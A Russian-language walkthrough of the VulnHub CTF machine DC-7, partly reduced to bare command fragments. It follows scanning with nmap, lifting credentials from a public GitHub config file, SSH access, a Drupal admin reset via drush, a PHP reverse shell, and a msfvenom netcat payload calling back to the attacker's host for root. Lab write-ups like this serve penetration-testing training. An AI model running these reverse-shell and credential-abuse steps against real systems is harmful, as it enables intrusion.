Capture the Flag, CTF, VulnHub

Прохождение машины DC-7. VulnHub.

Здравствуйте, дорогие друзья.

Сегодня будем проходить машину «DC-7». Это CTF-челлендж на базе Linux, в котором Вы можете использовать свои базовые навыки пентеста, чтобы скомпрометировать эту виртуальную машину и повысить уровень привилегий до root.

Скачать машину можно, перейдя по ссылке: https://www.vulnhub.com/entry/dc-7,356/

Сетевое сканирование

Давайте начнем со сканирования сети, используя агрессивное сканирование Nmap, и на этот раз я также буду использовать тот же подход, для определения открытых портов для запущенных служб.

sudo nmap -A 10.0.2.20

sudo nmap -A 10.0.2.20

Перечисление/Enumeration

Далее нам нужно начать перечисление с хост-машины, поэтому, не теряя времени, я перехожу в веб-браузер для изучения HTTP-сервиса, и в браузере откроется страница приветствия DC:7, которая дала мне подсказку для поиска «outside the box», и эта подсказка может быть связана с интернетом.

В конце этой веб-страницы я заметил еще одну подсказку «@DC7User», которая может быть любым возможным именем пользователя.

@DC7User

Приняв во внимание указанную выше подсказку, я начинаю отслеживать пользователя @DC7 и нахожу учетную запись пользователя DC7 на GitHub: https://github.com/Dc7User.

 https://github.com/Dc7User

Итак, когда я открыл staffdb, здесь config.php выглядит более интересно.

config.php

Я нашел учетные данные внутри config.php, как показано ниже:

Username: dc7user Password: MdR3xOgB7#dW

Эксплуатация

С помощью перечисленных выше учетных данных я пытаюсь подключиться к ssh, и после получения tty shell я перехожу к перечислению каталогов и файлов и начинaю исследование каталога.

ssh
la -la cat mbox

Внутри backup.sh я замечаю, что он использует drush, а это означает использование оболочки Drupal, и это утилита командной строки, которая используется для связи с drupal CMS.

cat /opt/scripts/backups.sh

Итак, я посмотрел команду drush в Google и нашел команду, которая использовалась для изменения пароля учетной записи.

Ссылка: https://www.digitalocean.com/community/tutorials/a-beginner-s-guide-to-drush-the-drupal-shell

https://www.digitalocean.com/community/tutorials/a-beginner-s-guide-to-drush-the-drupal-shell

Поэтому я пытаюсь изменить пароль администратора с помощью следующей команды:

drush user-password admin —password=timcore
Manage>Extend>List>Install new module
 https://www.drupal.org/project/php/releases/8.x-1.0
module php installed successfull
php filter
php-reverse-shell.php
php shell
sudo nc -lvp 1234
msfvenom -p cmd/unix/reverse_netcat lhost=10.0.2.15 lport=8888 R
sudo nc -lvp 8888
cd /opt/scripts
theflag.txt

На этом все. Всем хорошего дня!